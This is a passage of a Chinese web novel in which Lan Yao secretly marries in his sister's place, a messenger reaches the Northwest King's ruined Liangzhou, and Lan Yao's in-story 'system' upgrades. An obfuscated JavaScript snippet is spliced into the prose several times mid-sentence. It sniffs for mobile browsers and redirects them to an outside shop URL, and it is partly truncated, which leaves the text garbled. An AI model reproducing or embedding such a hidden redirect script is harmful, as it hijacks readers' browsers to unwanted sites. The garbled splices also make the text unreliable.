听到母亲的话,兰遥鼻子蓦地一酸,忙低下头去,他在这个世界从婴儿长到成人,十八年的生养之恩,十八年的骨肉亲情,早已无法割舍。 可乱世如此,他既生在了这个时代,便没有逃避的道理,他要为家人谋一条生路,也要迎浪而上,在兴朝璀璨的星河上写下自己的名姓。 知子莫若母,兰遥的苦心与抱负,荀愿君如何看不清楚。 她虚抬起手,就像这个孩子尚年幼时,隔空将手掌搭在他的发顶,换来幼童眨着明亮的眼睛仰头一笑。 “阿母提前为你取字吧。” 男子二十及冠取字,字一般由长辈来赠予,荀愿君想了几日,想遍了经史子集,终于想到了一个。 兰遥跪坐在坐榻上,静静听母亲开口。 “遥遥之身,何意为远,出亡在外,望其还也。便叫子望吧。”(注1) 没有文治武功,也不通天纬地,只是一位母亲盼望远行之人能够回来。 兰遥俯身下拜,久久不起,“子望受教。” 正立十八年正月初五,御史大夫兰博蕴膝下女郎出嫁西北王。 …… 偌大的兰府无人能眠,灯火照亮一隅幽暗的夜色。 刚交过夜没多久,兰遥就与母亲来到了妹妹的院子,院子内外摆满了嫁妆箱子与出行用的衣物、器具,仆役们沉默地举着火烛做最后的检查。 主屋内侧的屏风后,兰晚已经换上了兰遥的衣物,兄妹二人自幼一起长大,兰晚熟悉兄长就像熟悉自己一样,细心准备了几日后,扮起兰遥几乎看不出区别。 兰遥走进温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159607|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖的屋室,荀愿君让仆役们退下,大家明白主母与小郎君定然有话要交待女郎,除了常安与常乐,其余人都静悄悄退出了屋子。 兰晚听到人都走了,从屏风后款步出来,与兰遥面对面站着,两人一样的衣裳,一样的发型,一样的身形动作,加上描长眉毛后看不出多少区别的脸,竟给兰遥一种正在照镜子的感觉。 看到兄长愣神,兰晚噗嗤笑了出来,做口型问,“阿兄,像不像?” 兰遥无奈摇头,心头的凝重被冲淡了一些,他转身走向挂在屋室内侧层层叠叠的火红嫁衣,由常安与常乐帮忙一件件换上,再坐在妆台前,敷粉施朱,梳发贴花。 当复杂的发髻终于梳好,点缀上满头华丽繁复的钗环,铜镜中的美人眼神一点点沉静下来,有仆役匆匆跑至院中,高声说道,“主母,宫中催妆的人来了!” 按照兴朝习俗,女郎出嫁之日,男方要派亲友前来催妆,催妆之后女郎方可梳妆出门。凉州路远,西北王是皇室宗亲,今日催妆便是宫中派人来了。 兰遥穿着繁复的嫁衣起身,视线看过母亲与妹妹,轻轻颔首。 下一秒,荀愿君与“兰遥”一前一后离开了屋室,而待嫁的少年手执妆扇掩面,迤逦于地的裙摆遮住雪白的袜袋,一步步被常安扶至门口,静待出门。 今日的婚事究竟是不是喜事,出嫁与催妆的人都心知肚明,催妆只是敷衍走了个流程,不到一刻钟,兰遥便听到了请西北王妃出阁的长调。 傅婢们鱼贯而入,围绕在兰遥身周,有的帮他拾起裙摆,有的替他抚平衣袖,有的捧着香盒、瓜果、妆台等物。 兰遥双手握着长柄绢扇,遮掩住面容,长身静立,修长的脖颈露出一截雪白,无人发现这位“西北王妃”已经在神不知鬼不觉间完成了偷天换日。 常侍徐榕来到门口,眯着眼睛欠身,声音油滑粘腻,“王妃,谢大将军在府门外等着呢,咱们该上路啦!” 今日来催妆的居然是谢禛,他是来欣赏自己的“杰作”吗?兰遥垂眸掩住一闪而过的寒意,常安扶着他的胳膊,缓缓穿过自幼生活的府邸,一步步走向府门。 此时天还未亮,只有仆役们手中的灯笼发出朦胧的光芒,映亮一小片空间。 兰府正门外,荀愿君与称病不出的兰博蕴都在,有兰博蕴撑着,假扮成兰遥的兰晚便后退了半步,免得被谢禛看出什么。 兰遥隔着绢扇看向父亲,昏暗的光中,兰博蕴胡须抖了几下,似乎想说些什么,但碍于周围人太多,最终什么都没有说出口。 一切都在沉默中无法阻挡地推进,兰遥按礼法向高堂拜别,走向车队中那辆醒目的由五牛拉动的朱漆彩车,送嫁队伍已经整装待发。 来催妆的谢禛从头至尾没有下马,在彩车一侧看着这个注定被摧残的脆弱花朵。一枚无关紧要的棋子,倒是给了他光明正大派人去秦州“谈生意”的机会。 他哈了一声,给这个有些用的小王妃一点面子,“王妃殿下,一路走好。” 兰遥默不作声,在昏沉的夜色中看向马上的人,四周灯笼的火光被风吹动,一瞬间激出铁马金戈之气。 谢禛怀疑自己产生了幻觉,回过神时,那个羔羊般顺从命运的小王妃已经坐上了彩车,看不出一丝威胁。 他狐疑地扫视了几眼,没发现任何问题,在他调转马头后,兰遥才收起了伪装出的无辜,静静凝视着谢禛的背影。 不出意外,此人将是霍元骞和自己未来很长一段时间里最大的敌人,下一次见面,或许就是分出胜负之日。 天边亮起一抹不起眼的鱼肚白,长长的送嫁车队离开节日氛围未消的建康,像一抹深色笔痕行走在荒凉的大地上。 太阳出来了,兰遥透过车窗,看着不停掠过的景色,一段全新的人生,要开始了。 11. 霍元骞 冬日天寒,越往西北越冷,黄玄出发时穿了好几层袄子与夹裤,还套了一件衬狼皮的裲裆,依旧在马上冷得直哆嗦。 好在他路上遇到了几波不长眼睛的流寇,抢了一身熊皮袄子,不然早就被冻僵了。 除了袄子,他还抢了好几次马,一匹不行了就换另一匹,才能每日急奔四百余里,不出七日就抵达了凉州。 黄玄擦了把满是尘土的脸,勒住缰绳,看着不远处的城池犯嘀咕,按舆图看,这里应该就是凉州最大的城池金城郡了,只是为什么看不到人呢? 为了节约时间,黄玄一路餐风宿露,很少入城休息,这还是他第一次亲眼看见凉州的大城池。 城墙倒是修得又厚又高,但肉眼可见好几处缺口,大约是没有砖土修补,只简单填了一些掺了草根的黄泥,看上去非常不牢靠。 城门没有完全关闭,也没有兵卒驻守,透过半开的缝隙,只能看到空荡荡的街道,街道上随处都是战火的痕迹,连一个人影都没有。 怎么回事,是他走错地方了,还是匈奴偷袭把金城郡的百姓屠完了?黄玄背后浮起一层冷汗,赶紧仗着视力好策马环顾四周,找了一大圈,总算看到原处荒地上有个背柴的人,立即过去询问。 “这位老丈,请问金城郡的人都去哪了,西北王在哪里?” 老丈耳朵半聋,佝偻着背,感受到马蹄踏地的动静回头,在看到黄玄的瞬间发出撕心裂肺的喊叫,“鬼啊!——” “……”黄玄郁闷了,他虽是武夫,但平日也是个喜欢敷粉簪花的少年郎君,不就是赶路糙了点吗,怎么会被认成鬼! …… 经过一番好说歹说,也可能是威逼恐吓,老丈终于同意带黄玄去他们现在的住处。 那居然是一座整齐严明的军营,最外围是一圈深五尺的沟壕,然后是一圈有尖刺的高篱,四角分布着四座简易的瞭望塔,一座可以吊起的木桥连通了营地内外。 黄玄骑马到离营地二百米外,就被一队骑兵拦下了,他识相地下马出示常珙的信函,说明来意,又上交了腰刀,才被带进营地。 看着这群人高马大的骑兵,黄玄有些兴奋,真是好马与好兵啊! 兴朝南渡后,朝廷失去了对山丹、河套、幽燕等优质马场的控制,南方的土地养不出烈马,最上等的川马比起北方的马也差不少,军队中的马越来越差,民间想找匹好马更是难上加难。 因此,看到西北王麾下的骑兵们的马后,黄玄的目光差点黏在上面下不来,恨不得立即拿出全身上下所有钱财换一匹。一直听人说凉州出好马,亲眼见过才知道所言非虚! 要是朝廷有上万匹这样的骏马……黄玄晃了晃脑袋,把这点莫名的念头丢远。 朝廷又不是没有过,还不是被打得抱头鼠窜,兵马是很重要,但在谁手里更重要。自己跟着小郎君来投奔西北王,不知道以后有没有机会率领一支这样的骑兵? 营地外围是兵卒住的帐篷和草屋,一直向里走,才到百姓居住的地方,黄玄一路走神乱想,被带到西北王所在之处才回神,他转头看了看,面前的院子和周围房屋的用材没什么不同,都是黄土加草根夯成土墙,配上木头门框和柴门,顶多比其他房屋大了一些。 虽然看起来挺结实的,但堂堂宗室王,就住这样的地方? “这位郎君,二殿下请你进去。”一位面白无须的老者从门中出来,黄玄赶紧跟上去。 穿过简陋的院子,刚进入室内,黄玄还没来得及看清什么,眼角突然闪过一抹寒光。 他背后寒毛竖起,立即侧身躲避,堪堪避开迎面的刀锋,同时抓起手边的门栓,朝执刀人砸去,那人只轻挑刀剑,就化解了他的攻击,一掌将他击退。 一切发生在电光火石间,黄玄微微喘气,“……西北王?” 龙章凤姿、面容俊美的男人一把将长刀合入刀鞘,侧目看着他,“不错,有单骑从建康到凉州的本事。” “……”黄玄明白方才那是一个小试探,放下心来,忍不住腹诽道,这西北王虽然是位英雄人物,但行事也太狂狷狠厉了,一点都不如自家小郎君让人如沐春风。 霍元骞回身坐在长案后,“常珙让你带了信来?” 黄玄没忘了最重要的事,忙把两封信从怀中取出来,“这封是常主簿的信,这封是我家小郎君,度支曹度支郎兰遥的信。” 老者把信奉到案上,霍元骞没有着急打开,“是御史大夫兰博蕴的儿子兰遥?兰博蕴是正立忠臣,兰遥也是朝中新贵,他给孤这苦寒之地的宗室王送信做什么?” 凉州虽然离建康很远,但朝中的事情,这位西北王倒是了解的清楚。 黄玄只好说,“常主簿惹怒了陛下,主君为其求情,陛下不高兴,就把我家女郎赐婚给了殿下。” 霍元骞凌厉的长眉骤然一紧,他打开两封信读了一遍,眼中精光乍现,沉声道,“都出去,不要打扰孤。” 黄玄没反应过来,就被老者“请”出了屋子。站在连砖都没铺的简朴院子里,黄玄摸了摸后脑勺,忍不住问,“老、老伯——” 老者呵呵一笑,“咱家是当年侍奉承昭太子的内侍,得太子殿下赐名张胜,郎君叫我张常侍就好。” 没见过内侍的黄玄赶紧说,“张常侍,金城中的人都去哪了,西北王殿下为什么要带着百姓在这里扎营?” 张常侍叹了口气,尖细的嗓音充满了苍凉,“去岁年末,金城郡遭匈奴突袭,匈奴铁骑一度攻入城内,烧杀劫掠,又有西夏乘危而入,占据了武威、西平两郡……” 张胜想起那日的惨状,心中戚戚,大殿下因朝廷支援的粮草失踪,被匈奴人围困杀害,若不是二殿下神勇无双,临危受命,率军一次次击退匈奴人的进攻,逼他们在粮草耗尽后撤兵,恐怕整个凉州都会落入异族囊中。 “二殿下击退匈奴后,命人搜寻聚拢幸存百姓,却只寻得不到三千人。金城城墙破裂,城内也一片狼藉,二殿下怕匈奴去而复返,便让兵卒和百姓们一起在此扎营,保护他们不受屠戮。” “郎君,偌大的凉州,只有这不到三千百姓了……” 黄玄很久没有找回说话的能力,三千人是什么概念?南边稍大一些的县人口都远超于此,有些世家大宅里的奴仆都要比这多。 可现在这个常侍却告诉他,凉州除去被异族占据的郡县,只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159608|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下这些百姓了。 黄玄想起临行前小郎君哀愁的叹息,终于明白了“十室九空,千里无鸡鸣”几个字的重量,小郎君真的有信心把这样的凉州发展起来吗? “哗啦——”主屋的木门被猛地推开,黄玄与张胜齐齐转头,只见年轻的西北王披甲佩刀,大步流星而来。 “张胜,你去告知阿嫂,我要出门一趟,让郭旭与汪禄紧守营地,安抚百姓,探查到敌人不可冒进。” “传令下去,点三百轻骑,随我日夜急奔荆州。” 不歇的劲风扫过院中空无一物的柳树枝头,发出龙腾虎啸之音,霍元骞回想那位兰家才俊信中的僭越之语,虎目微凝,眼神如炬。 他倒要看看,此人究竟是大言不惭蛊惑人心的妖人,还是真有几分本事,当得起信中的豪言壮语。 …… 豫州弋阳郡,天微微亮,临水而建的庞大的营地一点点活了起来。 谢大将军不差钱,派人护卫送嫁队伍,帐篷、陶炉、被褥等辎重装了几大车,浩浩荡荡拉开上百米。有五百兵卒随行,路上没有不长眼的流寇敢招惹这支庞大的队伍。 他们要从建康出发,一路向西向北,经过扬州、豫州、荆州、益州、梁州、秦州,最后抵达孤悬在外的凉州。 营地最中央的大帐篷,常安把牛皮篷布拉开一个口子,接过自家部曲打来的清水,又赶紧合上,防止热气跑出去。 兰遥已经起来了,他简单洗漱了一下,穿着女装常服,和常安一起用自带的小釜在陶炉上煮肉粥喝。 “那阉贼真可恶,非说要赶路,没工夫采买新鲜食材,让我们自便,自己却偷偷吃炙鸡。”常安愤愤骂道。 徐榕手里有五百兵卒,轻易就把整个送嫁队伍掌握在手中,随着远离建康,他渐渐露出了真面目,现在兰遥自带的五十部曲只能围在兰遥的车架和帐篷四周,不能离开队伍,也不能去探查队伍其他地方。 而和他们一起出发的西北王使臣常珙,也被徐榕派人严加看守,不许他和任何人说话。 肉粥熬好了,兰遥端起碗小口喝起来。盐腌制的肉干用匕首割成小片,加入陶釜中,和白米一起咕嘟咕嘟滚小半个时辰,肉的咸香与米的清香完美融合,大冷天气一口下去直接暖进胃里,让人浑身毛孔都舒畅开来。 就算常安一开始觉得这种吃法不雅,在尝过后也很快就被折服了,当然,这不妨碍她继续骂徐榕。 “出来三日了,他连车都没怎么下过,带着两个傅婢给自己捏肩捶腿,真是享福来了!” 兰遥浅笑着放下粥碗,“那不正好,省得他来烦我们。” 常安叹了口气,小郎君说的也是,她就是气不过,“马上要拔营出发了,我去让人把陶釜和碗筷洗了。” 兰遥叮嘱,“辛苦了,你告诉部曲们,这几日谨慎一些,吃喝都用我们自己的东西,不要和徐榕的人起冲突,静待时机。” 常安应声退下,帐篷中只剩兰遥一人,他打开系统界面,看着许多功能呈灰色的面板,心情微微激动起来。 今日是他觉醒系统的第九日,早上签到后,他将累计获得五十积分,达到升级系统的条件! 12. 系统升级 系统每日早晨辰时三刻刷新签到,兰遥屏息凝神等待,随着一声清脆的提示音,他的积分正式超过了五十分,与此同时,熟悉的虚幻机械音再次在兰遥耳边响起。 “叮——检测到宿主已累计获得五十积分,初级系统正式升级为一级系统,恭喜宿主,请再接再厉。” “商店功能解锁,可使用积分直购已解锁宝物。” “成就功能解锁,达成成就可获得奖励,更有隐藏成就等待探索。” “领地功能解锁,可提升安全度、繁荣度、人口值、科技值,打造完美领地。” “系统升级奖励——抽奖券*5已发放,请宿主注意查收。” 一大串提示音接连不断响起,兰遥差点被其中包含的信息量和惊喜砸晕。 原来自己之前用的只是试用装,系统升级到一级后,它真正的核心功能才露出端倪! 系统提示音停下后,兰遥先迫不及待打开了最期待的商店界面。 如兰遥推测,商店使用的“货币”就是系统积分,目前只解锁了“直购”功能,而“许愿”与“出售”两个功能还不能使用。 按面板介绍,在“许愿”功能中,兰遥可以通过选定每日刷新的标签词,来随机刷新想要的商品;而“出售”功能可以向系统反向出售达到它要求的物品,换取积分。 这两个功能一个比一个强大,可惜目前尚无法使用,要等系统进一步升级,兰遥只好先去研究直购。 直购的商品都是兰遥已经解锁过的“系统宝物”,比如目前直购的两个格子里,正静静躺着兰遥之前抽奖抽到过的星际基础营养液和五粮液,规格也与抽奖得到的一致。 其中营养液是白色物品,五积分一组,限购五组;五粮液是灰色物品,二积分一组,限购十组。 每隔十日,直购商品会刷新一次,重新填满格子。目前直购界面只有两个格子,后续随着在商店消费积分的增加,格子也会逐步解锁。 ——真是一个充满即视感的逼氪游戏风奸商系统,兰遥无语地想。 营养液和五粮液都是很有用的物品,但兰遥没有急着购买,而且先去看其他功能,以防还有用得到积分的地方。 他打开成就功能,发现自己已经完成了一些小成就。 “第一次使用空间”、“第一次完成每日任务”、“第一次抽奖”、“第一次抽出金色宝物”……零零碎碎的小成就领下来,一共获得了九成就点,而到了十成就点,就可以自选一本金色书籍逐步解锁。 兰遥查看可供选择的三本金色书籍,分别是《行星发动机维护与保养》、《从名流巨星到时尚教父》,以及《赤脚医生手册》。 “……”再次觉得自己抽出那本十分珍贵却用不到的《行星发动机维护与保养》太亏了。 “女郎!队伍要拔营出发了。”常安的声音从帐篷外传来,提醒兰遥做好伪装。 兰遥只好先关闭系统界面,简单整理了一下衣衫,披上锦面狐裘,拿起绢扇遮住脸,在傅婢们的搀扶下登上五牛拉动的朱漆彩车。 营地中的东西很快就装好了车,队伍开始行进,常安与阿絮一起在彩车上陪伴兰遥。 为了防止声音露馅,兰遥在外面几乎不说话,常安解释说女郎这是思念亲人,兰遥便做出一副郁郁寡欢的样子。兰晚因为体弱很少出门交际,没几个人知道她的真实性格,也就没有人怀疑。 在徐榕看来,兰家女郎娇滴滴的,忧思难言才是正常的,这样在路上“病逝”也更合理。 牛车晃动几下,逐渐加速,在荒凉的小路上前行,其他人也跟了上来。 因为辎重不少,加上牛车速度有限,送嫁队伍走得不算快,兰遥预估了一下,按这个速度,他们应该能与提前两天出发的黄稚等人一同到达荆州附近。 路上无聊,又不能说话,兰遥索性让常安教阿絮认字,自己在一旁看着打发时间。 阿絮今年六岁,海静容已经教过她一些简单的字和算数,这孩子有几分机灵劲,不知道常安怎么和她说的,她已经接受了“好看郎君”和出嫁女郎是一个人,并且需要保守秘密这个设定,当过流民的孩子懂事早,只要和她讲清楚,就不怕她被人哄骗误事。 “长在地里的粮食有稻、麦、粟,豆,耕地用的农具有锄、铲、耙、镰,算粮食用斗、斛,算布匹用尺、丈……” 阿絮跟着常安念了几遍,摸了摸脑袋上的小揪,“常安姑姑,你教的怎么和阿母教的不一样啊?” 常安很喜欢这个机灵又懂事的小丫头,闻言笑道,“你阿母是怎么教的?” “阿母教我认《开蒙要训》上的字,还有背诵《孝经》,我已经学了大半本了!” 只是常安姑姑教的字《开蒙要训》和《孝经》上几乎没有,又要重头开始学了,阿絮的小脑袋耷拉下去。 常安忍着笑看向兰遥,“姑姑也没办法,你学的这本书是‘女郎’编的,阿絮可是编好后第一个学它的人呢。” 阿絮飞速抬起头,向兰遥求证,“真的?” 兰遥被她逗乐了,拿起放在小几上的用麻线装订的薄书,翻到阿絮刚才读的那页点了点,示意阿絮继续学习。 阿絮吸了口气给自己打气,凑到常安身边继续努力学习,这可是好看郎君编的书,她不仅要做第一个学的人,还要做第一个学会的人! 见阿絮重新斗志昂扬,兰遥靠在填充了干花瓣的柔软锦垫上,含笑看着她们,思绪在烧了炭火的温暖车厢中一点点发散。 阿絮方才说的《开蒙要训》和《孝经》是兴朝常见的给孩童启蒙的读物,除此之外,《千字文》和《论语》等也很流行。 兰遥自己就是三岁读《开蒙要训》与《千字文》,四岁通读《孝经》,五岁通读《论语》,之后又花五年时间精读包括《周易》、《尚书》、《诗经》、《周礼》在内的其余“十经”典籍,到十岁的时候,他已经学完了这个时代正统士大夫应该学习的经典。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159609|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但兰遥不需要在凉州培养士大夫,或者说缺少士大夫不是凉州亟待解决的问题。 凉州现在缺什么?缺人、缺粮、缺可以御寒的衣物和可以御敌的城池。 兰遥把《纵横问鼎》初期剧情努力回忆了一遍,发现霍元骞开局的时候除了打仗次次能赢,其他方面那叫一个又穷又惨,简直是给自行车装了俩汽车轮子,全靠打仗获取物资和声望拖着整个势力往前走。 书粉们给那个时期的霍元骞起了一个非常契合的外号——凉州打野,大家吃什么用什么,全看野王带兵出去打到了什么! 霍元骞是一个不折不扣的武皇帝,一路征战,马上得天下,兰遥承认这个设定很帅,当初看小说的时候,兰遥一度被那些以弱胜强的战役激得热血沸腾,恨不得钻进书里和霍元骞一起争霸天下。 现在真的来到了这个世界,兰遥表示,武力值很重要,但经济民生这些也得抓起来,书里那种发展模式还是改了吧,就算霍元骞真的是杀神降世,战无不胜,也不能只逮着一个方向薅啊,全面发展才是硬道理。 而在教育普及率低的封建社会,想要推行任何政策制度,都绕不开一个问题——如何不打折扣地传达政令,让百姓懂得他们该做什么。 兰遥问过常珙,现在凉州能找出的看得懂文书的小吏不超过二十人,这些人实在是不够用,所以他在凉州要做的第一件事就是“扫盲”。 抛开那些繁冗的经史典籍、诗词歌赋,直接从需求角度出发,学会记录常见的农产品、织造物、器具、农具,再学会常用的计数单位和简易算数,发展凉州需要的小吏就速成了! 出于这个目标,兰遥花半日时间编写了一本不到五百字的启蒙书,全篇都是种植、织造、渔猎、锻造等产业的常用字词,他给这本书起名《百业解》,打算到凉州推广起来。 常安和阿絮还在一问一答学习《百业解》,这三日里阿絮已经能认识好几种农作物的字,还学会了斗和斛的换算。兰遥很满意启蒙书的效果,从阿絮的学习进度看,聪明一些的人应该不出十五日就能初步掌握种植需要用到的字词,可以干活了。 说起来,黄玄差不多要到凉州了,兰遥估算了一下日子和路程,推断自己的信应该会在这一两日间到达霍元骞手上。 回想了一下写在信里的东西,兰遥自觉没有什么问题,除了有些用词直白了一些,有些饼画的大了一些……但他是去做谋士的,谋士不会忽悠人和画大饼那还叫谋士吗! 古往今来哪位成功谋士不撺掇主公造反,哦不对,是不请求主公顺应天命,登临大位呢? 他信中的内容,虽然时间线提前了一些,但霍元骞自己迟早会悟出来,应该不过分吧? 兰遥相信以霍元骞雄霸一方的胸襟和气度,肯定可以包容自己大胆的构想,但是霍元骞现在的性格好像没有后期那么沉稳,大概……需要准备一些特别的话术? 兰遥不禁期待起和霍元骞正式见面的场景。 13. 狩猎开始 出了扬州,走过豫州,来到荆州后,路上的流民多了起来,有从北边的洛州跑来的,也有从西边的梁州、秦州跑来的,还有许多根本说不清自己是哪里来的。 在黄稚看来,这些人几乎和野兽没有区别。 一个个饿得皮包骨头,眼睛里却闪着狼一样的凶光,随便什么人扯块旗就能聚拢起来,冲着所有看起来能打过的人发动攻击,抢到口能吃的东西就立即逃走。 黄稚数不清自己打退了多少波这样的流民,直到把人抓住,给口热粥喝,再找部曲里口音相近的人问几句话——家住在哪里啊,爹娘可还在,记不记得兄弟姐妹,有没有成亲生娃,那些人才像是被唤回了魂,眼泪顺着干瘪的脸颊掉下来。 靠这种方法,这一路上他们收拢了二百多流民,大多数是青壮男子,少数是他们发现这里给饭吃后,主动带来的家眷。 海静容把人数统计了出来,这些流民中,十五到五十岁之间的男人有一百六十人,女人四十三人,十五岁以下的孩童十三人,五十岁以上的老人八人。 夜色渐渐降临,假扮成流民的队伍准备休息了,他们没有多少帐篷,就挑路边空无一人的村庄进去,把人聚集在一起,找个能遮风的地方铺上杂草睡一会儿,天亮后继续往西北走。 黄稚巡查过整个简陋的营地,确保每个地方都有自己带的部曲两班倒守夜,回到营地中心找海静容商议。 “我们已经进入荆州了,下午派出的部曲探到了送嫁队伍的踪迹,我们该想办法和小郎君联系了。” 海静容借着火光翻动随身携带的木简,上面是她用小刀刻上去的信息。 “这几日收拢的流民有二百一十六人,我们自己带了三百五十八人,加起来五百七十四人。人数倒是比谢禛派的兵卒多了,但流民不听指挥,我们带的人里许多是妇孺老人,真的能打过龙虎军吗?” 黄稚坐下来,拿着棍子拨了下火堆,火焰一下子亮了起来,“有神仙粮在,只要打得不是特别惨烈,倒是不用怕流民临阵脱逃。” 这次出发前,兰遥给了黄稚和海静容三枚锦囊,第一枚让他们在遇到第一波流民时拆开。 两人依言而行,见第一枚锦囊中的纸条上写着“告知流民,神仙粮乃仙人所赐,仙人慈爱,派你们救济世人,若有人加入队伍后仍偷盗抢占,将受神仙雷霆,检举者可不受牵连。” 第一波流民入队后,没过两天果然出事了,有两个凶恶之徒看中了队伍中的粮车,打算煽动流民半夜抢夺粮车后逃走。 然而在海静容等人的努力宣传和神仙粮的证明下,许多流民早就对神仙会救济自己深信不疑,原本他们是惧怕这种杀过不少人的凶徒的,但想到神仙、想到这几日的饱饭也不怕了。 一个寡妇带着她的小儿子悄悄找到海静容,举报了这件事,“海娘子,我和我儿子和那两个人可不是一伙的,神仙不会罚我们吧?” 流民入队后,黄稚一直安排人紧紧盯着,早就收到了那两人有异常的情报,但流民中有人主动举报不轨之徒,意义是不一样的。 黄稚把那两人押下,以神仙之名当众处决,然后把寡妇的小儿子收入部曲,寡妇则跟着海静容做事,此事之后,原本松散的流民们隐隐形成了一股凝聚力,更加信服黄稚等仙使,有新流民加入,也会被整体氛围感染。 想到兰遥在建康时就预料到了流民队伍会发生的事,提前写下锦囊对策,黄稚和海静容都佩服不已,感叹连连。 黄稚从怀中取出珍重收好的第二枚锦囊,“小郎君让我们打算和他汇合时拆开第二枚锦囊,海娘子,我们一起看吧。” 海静容接过散发着浅淡熏香的锦囊,解开系带,取出里面的纸条展开。 看过纸条上的内容,两人对视,不约而同露出笑意。 “小郎君果然筹算无双,我们就这么办!” 海静容点头,“明早黄统领去探查前路能设陷阱的地方,我找人演这场大戏。” …… 离开建康已经十一日了,越向西走,沿途的景色越荒凉,开始有活不下去的流民军冲击送嫁队伍,但都很快被徐榕手下的兵卒击溃。 兰遥坐在行进彩车中,双目微阖,常安与阿絮也不再说话。 昨日徐榕以路上作乱的贼寇过多,需要人手为由,调开了兰遥的五十部曲,现在彩车边有一半护卫已经换成了徐榕的兵卒。 兰遥知道,徐榕这是按捺不住准备动手了。 但他想不到,彩车中的“女郎”在出发前就偷天换日成了素有智名的兰遥,更想不到,兰家五十部曲的亲眷也随他们上路了,所以这些部曲无论如何都不会背叛兰遥。 兰遥在心中默默推演计划,突然,彩车停了下来,四周的兵卒和部曲们都进入了警戒状态,这几日这种情况已经发生过好几次了,阿絮小声道,“又有流寇来了吗?” 不,这次不一样,兰遥很快下了判断,握着绢扇的手在袖中收紧,生出一种狩猎开始的兴奋。 …… 此次来犯的流寇人数不多,只是一群饿到实在忍不下去的可怜人,但击溃他们后,送嫁队伍并没有像之前一样立即出发,而是停了很长一段时间。 “阿爷饶命,阿爷饶命,我还有阿母要养,阿爷饶了我,我有仙宝献给阿爷!” 徐榕靠在傅婢怀里,享受着美人捏肩,懒洋洋地看着跪在下面的流民。 这小子跑得慢被抓住了,本该一刀杀了,但他情急之下喊自己有仙宝,引起了徐榕的兴趣,徐榕便暂留了他一命。 “你一个连件袄都没有的贱民,敢说自己有仙宝?”徐榕轻蔑地笑了一声,“要是假的,咱家就让人把你剁成肉块煮了吃。” 听说北边的人受匈奴影响,爱吃人肉,不知道是什么滋味,有机会试试也不错,徐榕漫不经心地想,不过下面这个贱民太干瘦了,吃人和吃羊一样,得挑肉嫩的享用。 兰家女郎身边那个叫常安的傅婢就不错,还有兰家女郎,这可是正儿八经如花似玉的世家贵女啊,徐榕想起这几日看到的身影,心里痒痒的,等把她们拿下…… “……小人前几日被一伙流民军抓住,他们从仙人洞府偷盗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159610|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了一种叫神仙粮的米,小人嘴甜,哄得一人分了小人半碗,那粮不仅十分顶饿,据说吃久了还能延年益寿,像仙人一样吸纳日月之精华!” 跪在下面的流民被徐榕吓了个半死,哆嗦着把脑子里的东西全抖了出来。 “小人想偷一些神仙粮孝敬阿母,不想被他们发现了,他们把小人毒打了一顿赶了出来,还说什么要不是听神仙教诲不杀生,一定会杀了小人。” “阿爷,小人愿引路去他们的营地,把神仙粮献给阿爷!” 徐榕原本没注意听,到了后面反而被吸引了,神仙粮……谢大将军和陛下都喜欢仙人事迹,若真有这种仙宝,带回去献上定能讨不少好处。 “不老实的东西,咱家看你嘴里根本没实话,来人,拉下去打!” 流民哭天喊地求饶,“我错了,阿爷,我说实话,我说实话!” 徐榕心道果然不老实,等他结结实实挨了十棍,才叫停把人又拖过来,“说吧,再敢耍花招咱家就剁了你的脚煮汤给你喝。” 流民涕泗横流,“我偷到了一斗神仙粮,由我阿母收着,还有、还有那群流民军不简单,有五十人穿着藤甲,配了铁器,阿爷恐怕讨不到好处。” 徐榕冷笑,只觉得一切尽在掌握,“笑话,咱家手里有二百南兴最精锐的龙虎军,岂是一群贱民可比?” 流民吓得不停磕头求饶,“龙虎军……是谢禛大将军的天兵?小人真是瞎了狗眼,求阿爷饶命,求阿爷饶命!” 徐榕挥手让人把这个贱民拉下去,等没用了再杀。 他没有完全失去警惕,先派人去把流民的母亲抓来,搜到神仙粮,试了一下果真有神奇的饱腹效果,才心情愉悦地让人调用兵卒。 真正知兵的龙虎军屯将犹豫道,“徐常侍,大将军派我们出来另有要事,还是不要节外生枝吧。” 